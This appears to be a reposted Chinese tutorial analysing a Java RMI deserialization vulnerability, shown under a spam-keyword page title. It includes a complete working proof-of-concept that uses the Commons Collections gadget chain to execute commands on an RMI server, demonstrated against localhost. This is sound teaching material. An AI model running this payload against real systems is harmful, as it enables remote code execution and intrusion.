日日操夜夜添-日日操影院-日日草夜夜操-日日干干-精品一区二区三区波多野结衣-精品一区二区三区高清免费不卡

公告:魔扣目錄網(wǎng)為廣大站長(zhǎng)提供免費(fèi)收錄網(wǎng)站服務(wù),提交前請(qǐng)做好本站友鏈:【 網(wǎng)站目錄:http://www.ylptlb.cn 】, 免友鏈快審服務(wù)(50元/站),

點(diǎn)擊這里在線咨詢客服
新站提交
  • 網(wǎng)站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會(huì)員:747

原創(chuàng):Xman21合天智匯

原創(chuàng)投稿活動(dòng):

http://link.zhihu.com/?target=https%3A//mp.weixin.qq.com/s/Nw2VDyvCpPt_GG5YKTQuUQ

一、RMI簡(jiǎn)介

首先看一下RMI在wikipedia上的描述:

JAVA遠(yuǎn)程方法調(diào)用,即Java RMI(Java Remote Method Invocation)是Java編程語言里,一種用于實(shí)現(xiàn)遠(yuǎn)程過程調(diào)用的應(yīng)用程序編程接口。它使客戶機(jī)上運(yùn)行的程序可以調(diào)用遠(yuǎn)程服務(wù)器上的對(duì)象。遠(yuǎn)程方法調(diào)用特性使Java編程人員能夠在網(wǎng)絡(luò)環(huán)境中分布操作。RMI全部的宗旨就是盡可能簡(jiǎn)化遠(yuǎn)程接口對(duì)象的使用。 Java RMI極大地依賴于接口。在需要?jiǎng)?chuàng)建一個(gè)遠(yuǎn)程對(duì)象的時(shí)候,程序員通過傳遞一個(gè)接口來隱藏底層的實(shí)現(xiàn)細(xì)節(jié)。客戶端得到的遠(yuǎn)程對(duì)象句柄正好與本地的根代碼連接,由后者負(fù)責(zé)透過網(wǎng)絡(luò)通信。這樣一來,程序員只需關(guān)心如何通過自己的接口句柄發(fā)送消息。

換句話說,使用RMI是為了不同JVM虛擬機(jī)的Java對(duì)象能夠更好地相互調(diào)用,就像調(diào)用本地的對(duì)象一樣。RMI為了隱藏網(wǎng)絡(luò)通信過程中的細(xì)節(jié),使用了代理方法。如下圖所示,在客戶端和服務(wù)器各有一個(gè)代理,客戶端的代理叫Stub,服務(wù)端的代理叫Skeleton。代理都是由服務(wù)端產(chǎn)生的,客戶端的代理是在服務(wù)端產(chǎn)生后動(dòng)態(tài)加載過去的。當(dāng)客戶端通信是只需要調(diào)用本地代理傳入所調(diào)用的遠(yuǎn)程對(duì)象和參數(shù)即可,本地代理會(huì)對(duì)其進(jìn)行編碼,服務(wù)端代理會(huì)解碼數(shù)據(jù),在本地運(yùn)行,然后將結(jié)果返回。在RMI協(xié)議中,對(duì)象是使用序列化機(jī)制進(jìn)行編碼的。

RMI反序列化漏洞分析

 

?

我們可以將客戶端存根編碼的數(shù)據(jù)包含以下幾個(gè)部分:

  • 被使用的遠(yuǎn)程對(duì)象的標(biāo)識(shí)符
  • 被調(diào)用的方法的描述
  • 編組后的參數(shù)

當(dāng)請(qǐng)求數(shù)據(jù)到達(dá)服務(wù)端后會(huì)執(zhí)行如下操作:

  1. 定位要調(diào)用的遠(yuǎn)程對(duì)象
  2. 調(diào)用所需的方法,并傳遞客戶端提供的參數(shù)
  3. 捕獲返回值或調(diào)用產(chǎn)生的異常。
  4. 將返回值編組,打包送回給客戶端存根

客戶端存根對(duì)來自服務(wù)器端的返回值或異常進(jìn)行反編組,其結(jié)果就成為了調(diào)用存根返回值。

RMI反序列化漏洞分析

 

?

二、RMI示例

接下來我們編寫一個(gè)RMI通信的示例,使用IDEA新建一個(gè)Java項(xiàng)目,代碼結(jié)構(gòu)如下:

RMI反序列化漏洞分析

 

?

Client.java

  1. package client;
  2. import service.Hello;
  3. import java.rmi.registry.LocateRegistry;
  4. import java.rmi.registry.Registry;
  5. import java.util.Scanner;
  6. public class Client {
  7. public static void main(String[] args) throws Exception{
  8. // 獲取遠(yuǎn)程主機(jī)上的注冊(cè)表
  9. Registry registry=LocateRegistry.getRegistry("localhost",1099);
  10. String name="hello";
  11. // 獲取遠(yuǎn)程對(duì)象
  12. Hello hello=(Hello)registry.lookup(name);
  13. while(true){
  14. Scanner sc = new Scanner( System.in );
  15. String message = sc.next();
  16. // 調(diào)用遠(yuǎn)程方法
  17. hello.echo(message);
  18. if(message.equals("quit")){
  19. break;
  20. }
  21. }
  22. }
  23. }

Server.java

  1. package server;
  2. import service.Hello;
  3. import service.impl.HelloImpl;
  4. import java.rmi.registry.LocateRegistry;
  5. import java.rmi.registry.Registry;
  6. import java.rmi.server.UnicastRemoteObject;
  7. public class Server {
  8. public static void main(String[] args) throws Exception{
  9. String name="hello";
  10. Hello hello=new HelloImpl();
  11. // 生成Stub
  12. UnicastRemoteObject.exportObject(hello,1099);
  13. // 創(chuàng)建本機(jī) 1099 端口上的RMI registry
  14. Registry registry=LocateRegistry.createRegistry(1099);
  15. // 對(duì)象綁定到注冊(cè)表中
  16. registry.rebind(name, hello);
  17. }
  18. }

Hello.java

  1. package service;
  2. import java.rmi.Remote;
  3. import java.rmi.RemoteException;
  4. public interface Hello extends Remote {
  5. public String echo(String message) throws RemoteException;
  6. }

HelloImpl

  1. package service.impl;
  2. import service.Hello;
  3. import java.rmi.RemoteException;
  4. public class HelloImpl implements Hello {
  5. @Override
  6. public String echo(String message) throws RemoteException {
  7. if("quit".equalsIgnoreCase(message.toString())){
  8. System.out.println("Server will be shutdown!");
  9. System.exit(0);
  10. }
  11. System.out.println("Message from client: "+message);
  12. return "Server response:"+message;
  13. }
  14. }

先運(yùn)行Server,然后運(yùn)行Client,然后即可進(jìn)行Server與Client的通信

RMI反序列化漏洞分析

 

?

RMI反序列化漏洞分析

 

?

三、漏洞復(fù)現(xiàn)

RMI反序列化漏洞的存在必須包含兩個(gè)條件:

  1. 能夠進(jìn)行RMI通信
  2. 目標(biāo)服務(wù)器引用了第三方存在反序列化漏洞的jar包

注:復(fù)現(xiàn)的時(shí)候需要JDK8 121以下版本,121及以后加了白名單限制,

這里我們以Apache Commons Collections反序列化漏洞為例,使用的版本為commons-collections.jar 3.1,新建一個(gè)漏洞利用的類RMIexploit

  1. package client;
  2. import org.apache.commons.collections.Transformer;
  3. import org.apache.commons.collections.functors.ChainedTransformer;
  4. import org.apache.commons.collections.functors.ConstantTransformer;
  5. import org.apache.commons.collections.functors.InvokerTransformer;
  6. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  7. import org.apache.commons.collections.map.LazyMap;
  8. import javax.management.BadAttributeValueExpException;
  9. import java.lang.reflect.Constructor;
  10. import java.lang.reflect.Field;
  11. import java.lang.reflect.InvocationHandler;
  12. import java.lang.reflect.Proxy;
  13. import java.rmi.Remote;
  14. import java.rmi.registry.LocateRegistry;
  15. import java.rmi.registry.Registry;
  16. import java.util.HashMap;
  17. import java.util.Map;
  18. public class RMIexploit {
  19. public static void main(String[] args) throws Exception {
  20. // 遠(yuǎn)程RMI Server的地址
  21. String ip = "127.0.0.1";
  22. int port = 1099;
  23. // 要執(zhí)行的命令
  24. String command = "calc";
  25. final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
  26. // real chain for after setup
  27. final Transformer[] transformers = new Transformer[] {
  28. new ConstantTransformer(Runtime.class),
  29. new InvokerTransformer("getMethod",
  30. new Class[] {String.class, Class[].class },
  31. new Object[] {"getRuntime", new Class[0] }),
  32. new InvokerTransformer("invoke",
  33. new Class[] {Object.class, Object[].class },
  34. new Object[] {null, new Object[0] }),
  35. new InvokerTransformer("exec",
  36. new Class[] { String.class },
  37. new Object[] { command }),
  38. new ConstantTransformer(1) };
  39. Transformer transformerChain = new ChainedTransformer(transformers);
  40. Map innerMap = new HashMap();
  41. Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
  42. TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
  43. BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
  44. Field valfield = badAttributeValueExpException.getClass().getDeclaredField("val");
  45. valfield.setAccessible(true);
  46. valfield.set(badAttributeValueExpException, entry);
  47. String name = "pwned"+ System.nanoTime();
  48. Map<String, Object> map = new HashMap<String, Object>();
  49. map.put(name, badAttributeValueExpException);
  50. // 獲得AnnotationInvocationHandler的構(gòu)造函數(shù)
  51. Constructor cl = Class.forName(ANN_INV_HANDLER_CLASS).getDeclaredConstructors()[0];
  52. cl.setAccessible(true);
  53. // 實(shí)例化一個(gè)代理
  54. InvocationHandler hl = (InvocationHandler)cl.newInstance(Override.class, map);
  55. Object object = Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, hl);
  56. Remote remote = Remote.class.cast(object);
  57. Registry registry=LocateRegistry.getRegistry(ip,port);
  58. registry.bind(name, remote);
  59. }
  60. }

然后執(zhí)行RMIexploit

RMI反序列化漏洞分析

 

?

四、漏洞分析

其實(shí)RMI反序列化的POC比Apache Commons Collections反序列化漏洞的POC只是多了RMI的通信步驟,Commons Collections組件的分析網(wǎng)上已經(jīng)有很多,這里只對(duì)本文使用的調(diào)用鏈做簡(jiǎn)要分析。

RMI反序列化漏洞分析

 

?

如上圖所示,當(dāng)序列化的數(shù)據(jù)到達(dá)RMI Server后回自動(dòng)進(jìn)行反序列化操作,首先是AnnotationInvocationHandler執(zhí)行readObject函數(shù);然后調(diào)用TiedMapEntry的toString函數(shù),再調(diào)用同文件的getValue方法;然后調(diào)用到LazyMap的get方法;后面的步驟其實(shí)一個(gè)循環(huán)調(diào)用的過程,利用ChainedTransformer中的transform方法,多次調(diào)用,直到最后的命令執(zhí)行。

  1. public Object transform(Object object) {
  2. for(int i = 0; i < this.iTransformers.length; ++i) {
  3. object = this.iTransformers[i].transform(object);
  4. }

不過這里有幾個(gè)問題需要專門解釋下。

1、為什么這里的badAttributeValueExpException對(duì)象是通過反射構(gòu)造,而不是直接聲明?

代碼中我們用以下四行反射的方式構(gòu)造badAttributeValueExpException對(duì)象

  1. BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
  2. Field valfield = badAttributeValueExpException.getClass().getDeclaredField("val");
  3. valfield.setAccessible(true);
  4. valfield.set(badAttributeValueExpException, tiedMapEntry);

而不是直接聲明的呢

  1. BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedMapEntry);

 

要知道BadAttributeValueExpException的構(gòu)造函數(shù)就是給val遍變量賦值

  1. public BadAttributeValueExpException (Object val) {
  2. this.val = val == null ? null : val.toString();
  3. }

但是仔細(xì)看這個(gè)構(gòu)造函數(shù),當(dāng)val不為空的時(shí)候,是將val.toString()賦值給this.val,因此這樣直接聲明的話會(huì)直接通過toString()觸發(fā)命令執(zhí)行。但是在真正反序列化的時(shí)候,由于val變成了String類型,就會(huì)造成漏洞無法觸發(fā)。

2、為什么不直接將badAttributeValueExpException對(duì)象bind到RMI服務(wù)?

執(zhí)行bind操作需要對(duì)象類型為Remote,這里BadAttributeValueExpException無法直接轉(zhuǎn)換為Remote類型,因此需要將其封裝在AnnotationInvocationHandler里面。在這個(gè)Poc中只要是繼承了InvocationHandler的動(dòng)態(tài)代理類都可以,比如我們自定義以下類

  1. package client;
  2. import javax.management.BadAttributeValueExpException;
  3. import java.io.Serializable;
  4. import java.lang.reflect.InvocationHandler;
  5. import java.lang.reflect.Method;
  6. public class PocHandler implements InvocationHandler, Serializable {
  7. private BadAttributeValueExpException ref;
  8. protected PocHandler(BadAttributeValueExpException newref) {
  9. ref = newref;
  10. }
  11. // @Override
  12. public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
  13. return method.invoke(this.ref, args);
  14. }
  15. }

Poc代碼動(dòng)態(tài)代理聲明一行改為

  1. Object object = Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, new PocHandler(badAttributeValueExpException));

 

反序列化過程是遞歸的,封裝在InvocationHandler中badAttributeValueExpException也會(huì)執(zhí)行反序列化操作,因此也能夠觸發(fā)命令執(zhí)行。但是有些Poc的寫法就必須要用sun.reflect.annotation.AnnotationInvocationHandler這個(gè)類,因?yàn)槭抢肁nnotationInvocationHandler反序列化過程中readObject函數(shù)對(duì)map對(duì)象的set操作來實(shí)現(xiàn)命令執(zhí)行的,set操作會(huì)導(dǎo)致transform操作,使得整個(gè)調(diào)用鏈觸發(fā)。

  1. private void readObject(java.io.ObjectInputStream s)
  2. throws java.io.IOException, ClassNotFoundException {
  3. s.defaultReadObject();
  4. // Check to make sure that types have not evolved incompatibly
  5. AnnotationType annotationType = null;
  6. try {
  7. annotationType = AnnotationType.getInstance(type);
  8. } catch(IllegalArgumentException e) {
  9. // Class is no longer an annotation type; time to punch out
  10. throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
  11. }
  12. Map<String, Class<?>> memberTypes = annotationType.memberTypes();
  13. // If there are annotation members without values, that
  14. // situation is handled by the invoke method.
  15. for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
  16. String name = memberValue.getKey();
  17. Class<?> memberType = memberTypes.get(name);
  18. if (memberType != null) { // i.e. member still exists
  19. Object value = memberValue.getValue();
  20. if (!(memberType.isInstance(value) ||
  21. value instanceof ExceptionProxy)) {
  22. memberValue.setValue(
  23. new AnnotationTypeMismatchExceptionProxy(
  24. value.getClass() + "[" + value + "]").setMember(
  25. annotationType.members().get(name)));
  26. }
  27. }
  28. }
  29. }

我本地版本jdk的AnnotationInvocationHandler沒有set操作,因此一開始就借助BadAttributeValueExpException進(jìn)行漏洞觸發(fā)。

相關(guān)實(shí)驗(yàn):Java反序列漏洞

點(diǎn)擊:

“http://www.hetianlab.com/expc.do?ec=ECID172.19.104.182015111916202700001”(PC端操作最佳喲)

RMI反序列化漏洞分析

 

?

聲明:筆者初衷用于分享與普及網(wǎng)絡(luò)知識(shí),若讀者因此作出任何危害網(wǎng)絡(luò)安全行為后果自負(fù),與合天智匯及原作者無關(guān),本文為合天原創(chuàng),如需轉(zhuǎn)載,請(qǐng)注明出處!

分享到:
標(biāo)簽:RMI
用戶無頭像

網(wǎng)友整理

注冊(cè)時(shí)間:

網(wǎng)站:5 個(gè)   小程序:0 個(gè)  文章:12 篇

  • 51998

    網(wǎng)站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會(huì)員

趕快注冊(cè)賬號(hào),推廣您的網(wǎng)站吧!
最新入駐小程序

數(shù)獨(dú)大挑戰(zhàn)2018-06-03

數(shù)獨(dú)一種數(shù)學(xué)游戲,玩家需要根據(jù)9

答題星2018-06-03

您可以通過答題星輕松地創(chuàng)建試卷

全階人生考試2018-06-03

各種考試題,題庫(kù),初中,高中,大學(xué)四六

運(yùn)動(dòng)步數(shù)有氧達(dá)人2018-06-03

記錄運(yùn)動(dòng)步數(shù),積累氧氣值。還可偷

每日養(yǎng)生app2018-06-03

每日養(yǎng)生,天天健康

體育訓(xùn)練成績(jī)?cè)u(píng)定2018-06-03

通用課目體育訓(xùn)練成績(jī)?cè)u(píng)定